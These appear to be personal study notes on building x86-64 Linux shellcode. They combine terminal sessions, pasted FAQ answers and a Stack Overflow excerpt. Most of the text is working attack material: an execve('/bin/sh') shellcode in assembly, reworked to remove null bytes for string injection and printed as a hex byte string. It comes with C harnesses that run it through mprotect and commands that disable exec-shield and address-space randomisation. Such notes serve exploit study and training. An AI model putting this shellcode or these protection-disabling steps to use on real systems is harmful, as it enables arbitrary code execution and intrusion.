Open shell assembly language

---------------------

segment .data

shellpath db “/bin/sh0aaaaaaaabbbbbbbb

segment .text

global \_start

\_start:

mov rax, 0

mov rbx, shellpath

mov [rbx+7], al

mov [rbx+8], rbx

mov [rbx+16], rax

mov rax, 59

lea rdi, [rbx]

lea rsi, [rbx+8]

lea rdx, [rbx+16]

syscall

nasm -f elf64 shell\_code\_hw.asm

ld -s -o shell shell\_code\_hw.o

------------------------------------------

Get rid of .data section

segment .text

global \_start

\_start:

jmp string

continue:

mov rax, 0

pop rbx

mov [rbx+7], al

mov [rbx+8], rbx

mov [rbx+16], rax

mov rax, 59

lea rdi, [rbx]

lea rsi, [rbx+8]

lea rdx, [rbx+16]

syscall

string:

call continue

shellpath db "/bin/sh0aaaaaaaabbbbbbbb"

nasm -f elf64 shell\_code\_hw\_no\_text.asm

ld -s -N -o shell\_code\_hw\_no\_text shell\_code\_hw\_no\_text.o

See Nulls

root@kali:~/hacking# objdump -d shell\_code\_hw\_no\_text

shell\_code\_hw\_no\_text: file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <.text>:

400080: eb 23 jmp 0x4000a5

400082: b8 00 00 00 00 mov $0x0,%eax

400087: 5b pop %rbx

400088: 88 43 07 mov %al,0x7(%rbx)

40008b: 48 89 5b 08 mov %rbx,0x8(%rbx)

40008f: 48 89 43 10 mov %rax,0x10(%rbx)

400093: b8 3b 00 00 00 mov $0x3b,%eax

400098: 48 8d 3b lea (%rbx),%rdi

40009b: 48 8d 73 08 lea 0x8(%rbx),%rsi

40009f: 48 8d 53 10 lea 0x10(%rbx),%rdx

4000a3: 0f 05 syscall

4000a5: e8 d8 ff ff ff callq 0x400082

4000aa: 2f (bad)

4000ab: 62 (bad)

4000ac: 69 6e 2f 73 68 30 61 imul $0x61306873,0x2f(%rsi),%ebp

4000b3: 61 (bad)

4000b4: 61 (bad)

4000b5: 61 (bad)

4000b6: 61 (bad)

4000b7: 61 (bad)

4000b8: 61 (bad)

4000b9: 61 (bad)

4000ba: 62 62 (bad)

4000bc: 62 62 (bad)

4000be: 62 .byte 0x62

4000bf: 62 .byte 0x62

4000c0: 62 .byte 0x62

4000c1: 62 .byte 0x62

-------------------------------------------

Removed nulls

segment .text

global \_start

\_start:

jmp string

continue:

xor rax, rax

pop rbx

mov [rbx+7], al

mov [rbx+8], rbx

mov [rbx+16], rax

add rax, 59

lea rdi, [rbx]

lea rsi, [rbx+8]

lea rdx, [rbx+16]

syscall

string:

call continue

shellpath db "/bin/sh0aaaaaaaabbbbbbbb"

nasm -f elf64 shell\_code\_hw\_no\_null.asm

ld -s -N -o shell\_code\_hw\_no\_null shell\_code\_hw\_no\_null.o

objdump -d shell\_code\_hw\_no\_null

shell\_code\_hw\_no\_null: file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <.text>:

400080: eb 20 jmp 0x4000a2

400082: 48 31 c0 xor %rax,%rax

400085: 5b pop %rbx

400086: 88 43 07 mov %al,0x7(%rbx)

400089: 48 89 5b 08 mov %rbx,0x8(%rbx)

40008d: 48 89 43 10 mov %rax,0x10(%rbx)

400091: 48 83 c0 3b add $0x3b,%rax

400095: 48 8d 3b lea (%rbx),%rdi

400098: 48 8d 73 08 lea 0x8(%rbx),%rsi

40009c: 48 8d 53 10 lea 0x10(%rbx),%rdx

4000a0: 0f 05 syscall

4000a2: e8 db ff ff ff callq 0x400082

4000a7: 2f (bad)

4000a8: 62 (bad)

4000a9: 69 6e 2f 73 68 30 61 imul $0x61306873,0x2f(%rsi),%ebp

4000b0: 61 (bad)

4000b1: 61 (bad)

4000b2: 61 (bad)

4000b3: 61 (bad)

4000b4: 61 (bad)

4000b5: 61 (bad)

4000b6: 61 (bad)

4000b7: 62 62 (bad)

4000b9: 62 62 (bad)

4000bb: 62 .byte 0x62

4000bc: 62 .byte 0x62

4000bd: 62 .byte 0x62

4000be: 62 .byte 0x62

------------------------------------------

Test shell created from open shell assembly program

\xeb\x20\x48\x31\xc0\x5b\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x43\x10\x48\x83\xc0\x3b\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x10\x0f\x05\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x62\x62\x62\x62

------------

Test shellcode in below program.

#include <stdlib.h>

#include <stdio.h>

#include <stdint.h>

#include <sys/mman.h>

void \*pagOf(void \*p);

void \*pageOf(void \*p){

return (void \*)((uintptr\_t)p & -(getpagesize()-1));

}

int main(){

char shellcode[] = "\xeb\x20\x48\x31\xc0\x5b\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x43\x10\x48\x83\xc0\x3b\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x10\x0f\x05\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x62\x62\x62\x62";

int(\*func)() = NULL;

void \*page = pageOf(shellcode);

size\_t size = ((uintptr\_t)shellcode-(uintptr\_t)page)+sizeof(shellcode);

if(mprotect(page, size, PROT\_READ|PROT\_WRITE|PROT\_EXEC) == -1){

perror("Can't change memory page protection");

exit(1);

}

func = (int(\*)())shellcode;

func();

return EXIT\_SUCCESS;

}

-----------------------

10. **Why does my program keep segfaulting? Yes, I read item 7 above, but it STILL crashes.**

    You probably are using an operating system with randomized stack and address space and possibly a protection mechanism that prevents you from executing code on the stack. All Linux based operating systems are not the same, so I present a solution for Fedora that should adapt easily.

echo 0 > /proc/sys/kernel/exec-shield #turn it off

echo 0 > /proc/sys/kernel/randomize\_va\_space #turn it off

echo 1 > /proc/sys/kernel/exec-shield #turn it on

echo 1 > /proc/sys/kernel/randomize\_va\_space #turn it on

-----------------------------

6. **What's the hype with making sure the shellcode won't have any NULL bytes in it? Normal programs have lots of NULL bytes!**

    Well this isn't a normal program! The main problem arises in the fact that when the exploit is inserted it will be a string. As we all know, strings are terminated with a NULL byte (C style strings anyhow). If we have a NULL byte in our shellcode things won't work correctly.

---------------------------------

4. **What are the differences between windows shellcode and Linux shellcode?**

     Linux, unlike windows, provides a direct way to interface with the kernel through the **int 0x80** interface. A complete listing of the Linux syscall table can be found [here](http://world.std.com/~slanning/asm/syscall_list.html). Windows on the other hand, does not have a direct kernel interface. The system must be interfaced by loading the address of the function that needs to be executed from a DLL (Dynamic Link Library). The key difference between the two is the fact that the address of the functions found in windows will vary from OS version to OS version while the **int 0x80** syscall numbers will remain constant. Windows programmers did this so that they could make any change needed to the kernel without any hassle; Linux on the contrary has fixed numbering system for all kernel level functions, and if they were to change, there would be a million angry programmers (and a lot of broken code).

-------------------------------------------

#include <stdlib.h>

main(){

exit(0);

}

------------------------

root@kali:~/hacking# gcc -static -o exit exit.c

root@kali:~/hacking# gdb exit -q

Reading symbols from exit...(no debugging symbols found)...done.

(gdb) b main

Breakpoint 1 at 0x400f92

(gdb) r

Starting program: /root/hacking/exit

Breakpoint 1, 0x0000000000400f92 in main ()

(gdb) disass \_exit

Dump of assembler code for function \_exit:

0x00000000004306c0 <+0>: movslq %edi,%rdx

0x00000000004306c3 <+3>: mov $0xffffffffffffffd0,%r10

0x00000000004306ca <+10>: mov $0xe7,%r9d

0x00000000004306d0 <+16>: mov $0x3c,%r8d

0x00000000004306d6 <+22>: jmp 0x4306f1 <\_exit+49>

0x00000000004306d8 <+24>: nopl 0x0(%rax,%rax,1)

0x00000000004306e0 <+32>: mov %rdx,%rdi

0x00000000004306e3 <+35>: mov %r8d,%eax

0x00000000004306e6 <+38>: syscall

0x00000000004306e8 <+40>: cmp $0xfffffffffffff000,%rax

0x00000000004306ee <+46>: ja 0x43070b <\_exit+75>

0x00000000004306f0 <+48>: hlt

0x00000000004306f1 <+49>: mov %rdx,%rdi

0x00000000004306f4 <+52>: mov %r9d,%eax

0x00000000004306f7 <+55>: syscall

0x00000000004306f9 <+57>: cmp $0xfffffffffffff000,%rax

0x00000000004306ff <+63>: jbe 0x4306e0 <\_exit+32>

0x0000000000430701 <+65>: mov %eax,%esi

0x0000000000430703 <+67>: neg %esi

0x0000000000430705 <+69>: mov %esi,%fs:(%r10)

0x0000000000430709 <+73>: jmp 0x4306e0 <\_exit+32>

0x000000000043070b <+75>: mov %eax,%esi

---Type <return> to continue, or q <return> to quit---

0x000000000043070d <+77>: neg %esi

0x000000000043070f <+79>: mov %esi,%fs:(%r10)

0x0000000000430713 <+83>: jmp 0x4306f0 <\_exit+48>

End of assembler dump.

(gdb) q

A debugging session is active.

Inferior 1 [process 2598] will be killed.

Quit anyway? (y or n) y

-------------------------

root@kali:~/hacking# cat exit.asm

section .text

global \_start

\_start:

xor eax, eax

mov al, 1

xor ebx, ebx

int 0x80

------------------

root@kali:~/hacking# nasm -f elf64 exit.asm

root@kali:~/hacking# ld -s -o exiter exit.o

root@kali:~/hacking# objdump -d exiter

exiter: file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <.text>:

400080: 31 c0 xor %eax,%eax

400082: b0 01 mov $0x1,%al

400084: 31 db xor %ebx,%ebx

400086: cd 80 int $0x80

---------------------------------------

#include <unistd.h>

#include <sys/mman.h>

/\*shellcodetest.c\*/

char code[] = "\x31\xc0\xb0\x01\x31\xdb\xcd\x80";

int main()

{

mprotect((void\*)((intptr\_t)code & ~0xFFF), 8192, PROT\_READ|PROT\_EXEC);

void (\*fp) (void);

fp = (void \*)code;

fp();

}

root@kali:~/hacking# gcc -o test\_prop test\_prop.c

root@kali:~/hacking# ./test\_prop

------------------------------------------

<http://stackoverflow.com/questions/27900201/create-and-test-x86-64-elf-executable-shellcode-on-a-linux-machine>

Your *exploit* is so "classic" that memory protection has been put in place to make it harder to carry out what you want. Your shellcode string is considered data, and as such the memory page containing it is marked non-executable. Attempting to execute anyways will make the CPU raise an exception, which the OS will handle by smiting your process into oblivion. What you must additionally do is mark, with mprotect(), the page of memory containing the data as readable+executable (PROT\_READ | PROT\_EXEC). A reminder thatmprotect can only change *whole pages*